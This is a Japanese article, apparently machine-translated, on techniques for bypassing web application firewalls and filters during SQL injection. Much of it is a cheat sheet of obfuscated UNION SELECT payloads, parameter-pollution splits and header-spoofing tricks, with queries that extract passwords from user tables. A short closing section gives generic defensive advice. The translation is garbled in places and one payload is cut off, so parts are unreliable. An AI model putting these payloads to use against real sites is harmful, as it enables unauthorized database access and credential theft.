SQLインジェクション操作のためのWebアプリケーションセキュリティバイパス技術

画像



最新のWebアプリケーションを開発する場合、保護ツールを使用する必要があります。 それでも、それらがどのように機能するかを理解し、効果的に適用し、ハッカー攻撃の万能薬ではないことに気付く価値があります。 この記事では、SQLインジェクションの操作中にWebアプリケーションのフィルタリングと保護をバイパスする方法について説明します。







回避策の選択肢を検討する前に、今日の保護機器-ネイティブおよび「アドオン」の両方を決定しましょう。







保護



ネイティブツールとは異なり、着信データのさまざまな種類のバリデーターまたはコンバーターを区別できます。 これらは、自作することも、プログラミング言語の機能を使用することもできます。 たとえば、PHP環境では次の関数が一般的です。









これらの関数のほとんどは、使用状況に基づいて危険な文字を変換するように設計されています。 上記の中で最も効果的な治療法はIntvalです。







「アドオン」セキュリティ機能には、Webアプリケーション(フレームワーク)を使用したWebアプリケーションの保護、またはWebアプリケーションファイアウォールなどのサードパーティツールを使用した保護の2つの領域があります。 最初の例は、HTMLPurifierの使用です。このライブラリは、個々の属性を含む、コードのすべての悪意のある、無効な、禁止された(構成により)部分のhtmlコードをクリアします。







保護バイパス



セキュリティツールをバイパスするには、Webアプリケーションの構成要素、その保護方法と保護方法、およびプラットフォームとWebアプリケーションのロジックに関する深い知識が必要です。







最も単純な例から:現代のサイトの機能には、ユーザーが任意のファイルをサーバーにアップロードできる多くのフォームが含まれています。 画像、ドキュメント、pdfファイルなどがあります。 Web開発者は、潜在的に危険なファイルタイプのダウンロードを明示的に禁止するブラックリストの概念をよく使用します:.phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi fpl .jsp .htm .html .wml。 ブラックリストを使用しても、フィルタリングをバイパスする潜在的なリスクからサイト所有者を保護することはできません。 たとえば、PHP 7の新しいバージョンでは、フィルタリングをバイパスする新しい拡張子.php7が追加されます。 すべての開発者がこれを認識しているわけではなく、なんとかブラックリストに追加できました。 また、上記の拡張子のリストには.phtがありません。







論理的には、保護がどのように構築されているか(コードが存在する場合はコードまたはフィルタリングロジックを調べることにより)を知っているため、それをバイパスすることができます。 これは、ブラックリスト、または正規表現、データ変換、正規化を使用した危険な構造のフィルタリングのいずれかです。







次の手法を使用してバイパスします。



ゼロバイト注入 :悪意のあるペイロードに%00を使用します。 保護装置はゼロ終了後にすべての文字を無視できますが、同時にリクエスト全体をWebサーバーに転送します。







混合コンテンツ:大文字と小文字を区別する正規表現を使用する場合、混合コンテンツを使用して防御を回避できます。たとえば、convert







<script>
      
      











 <sCrIPt>
      
      





インラインコメント:攻撃リクエストでコメントを使用します。 例えば







 / *! SELECT * /
      
      





プロテクターによってスキップされますが、ターゲットWebアプリケーションで処理されます。







チャンクリクエスト:エンコードされたHTTPリクエストを使用して、悪意のあるペイロードを複数のHTTPリクエストに分割します。







バッファオーバーフロー:セキュリティメカニズムでバッファオーバーフローを引き起こす要求を形成できる場合、セキュリティ機能をバイパスできます(セキュリティの脆弱性自体が正常に動作する場合、およびアプリケーションがクラッシュした場合に動作しない場合)。







HTTPパラメータ汚染 :HTTPリクエストパラメータは、=で区切られたキーと値で構成されるペアです。 最初の要求は防御手段によって処理されますが、Webアプリケーション側では2番目の要求が実行されます。 分離のために、 、; など







URLエンコード(16進数) :文字の16進表現(%27引用文字など)を使用します。 これ自体は、現代の多くの防御には十分ではないかもしれませんが、他の回避策と組み合わせて使用​​できます。 他の変換関数、たとえば逆関数が発生する場合があります。







 reverse('>tpircs/<)niamod.tnemucod(trela>tpircs<')
      
      





キーワードの分離 :ここでは、保護装置の機能を使用してペイロードを実装できます-特殊文字などを追加します セパレーターとして、保護装置でカットされ、出力では処理されますが、ペイロード全体は次のようになります。







 SEL <ECT
      
      





処理され、山括弧が切り取られ、出力で







 SELECT
      
      





キーワードの複製 :この方法は前の方法と似ています-保護メカニズムをだますために、リクエストにストップワードを追加します。







 SELECTSELECT
      
      





処理され、最初のSELECTがそこから切り取られ、出力が







 SELECT
      
      





セッションCookieのリセット :頻繁に不正なリクエストのフィルタリングの対象にならないように、リクエストごとにセッションをリセットする必要があります。







IPレピュテーション :前の例のように、1つのIPからのリクエストが頻繁に発生する-このアドレスからのその他すべてはブロックできます。 攻撃に複数のアドレスを使用すると、この制限を回避するのに役立ちます。







ヘッダーインジェクション :アプリケーションに対して、信頼されたネットワークからのリクエストであることを明確にすることができます。 適切なチェックがない場合は、次のフィールドでアドレス(127.0.0.1など)に置き換えることができます。







 X-forwarded-for X-remote-IP X-originating-IP x-remote-addr
      
      





一般的なSQLインジェクション保護の回避策



注入には2つのタイプがあります-文字列または数値パラメータ:







ひも







 Example: SELECT * from table where example = 'Example'
      
      





数値







 Example: SELECT * from table where id = 123
      
      





インジェクションは、DBMSまたはインジェクション条件に応じていくつかのタイプに分割され、保護のバイパス方法はこれに依存します。







最も一般的な誤解は、単一引用符のフィルタリングです。 リクエストに引用符がない場合、インジェクション(リクエストの分割)はできません。 したがって、リクエストを分離せず、UNION演算子を使用して結合します。便宜上、存在しないIDも取得します。







 example.site/index.php?id=-1 UNION SELECT password FROM users
      
      





正規化バイパス:







  /? Id = 1 + union + select + 1,2,3 / *
      
      





このようなリクエストはブロックされるため、難読化されたリクエストを作成します。







  /?id=1/*union*/union/*select*/select+1,2,3/*
      
      





保護装置で正規化した後:







 ?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
      
      





必要なペイロードの「収集」:







  /? Id = 1 + union + select + 1,2,3 / *
      
      





同様のリクエストの例:







  /?id=1+un/**/ion+sel/**/ect+1,2,3--
      
      





また、必要なペイロードを「収集」します。







  /? Id = 1 + union + select + 1,2,3 / *
      
      





要求分割(HTTPパラメーター汚染)を使用できます。

脆弱なコード:







 SQL=" select key from table where id= "+Request.QueryString("id")
      
      





分割リクエスト:







  /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
      
      





変換後:







  id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
      
      





リクエストの断片化(HTTPパラメーターの断片化)も使用できます。

脆弱なコード:







  Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
      
      





フラグメント:







  /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
      
      





リクエストを受け取ります:







  select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
      
      





論理演算子を使用します。







  /?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
      
      





等号の代わりに、否定記号と不等号(!=、<>、<、>)を使用できます。







 and 1 or 1 and 1=1 and 2<3 and 'a'='a' and 'a'<>'b' and char(32)=' ' and 3<=2 and 5<=>4 and 5<=>5 and 5 is null or 5 is not null
      
      





当然、異なる方法を組み合わせて回避策を実現で​​きます。 単一の値を使用したさまざまなクエリの例:







 select user from mysql.user where user = 'user' OR mid(password,1,1)='*' select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 select user from mysql.user where user = 'user' OR position(0x2a in password)=1 select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
      
      





このような攻撃は、次の条件に該当する場合に成功する可能性があります。









署名バイパスの例



 /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat('',@@version,'') /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+
      
      





ユニオン選択クエリを実行する際のURLエンコードされた例



  %55nion(%53elect) union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect %23?%0auion%20?%23?%0aselect %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect %55nion %53eLEct u%6eion se%6cect unio%6e %73elect unio%6e%20%64istinc%74%20%73elect uni%6fn distinct%52OW s%65lect %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
      
      





混合クエリコンテンツの例



 unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))) /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
      
      





 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
      
      





署名置換の例



 http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3-- http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
      
      





バッファオーバーフロー



  http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(   1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
      
      





16進数/ URLエンコード



 http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
      
      





「奇妙な」文字や機能をクリアする



  http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4
      
      





おわりに



ルールに固執する:すべての入力は、他の方法で証明されるまで悪である。

着信データを慎重に確認してください。

着信データを慎重に確認してください。

着信データを慎重に確認してください。

包括的なツールを使用して、Webアプリケーションをハッカー攻撃から保護します。










次の記事では、xssベクトルを操作するときにWebアプリケーションのセキュリティ機能をバイパスする方法について説明します。








All Articles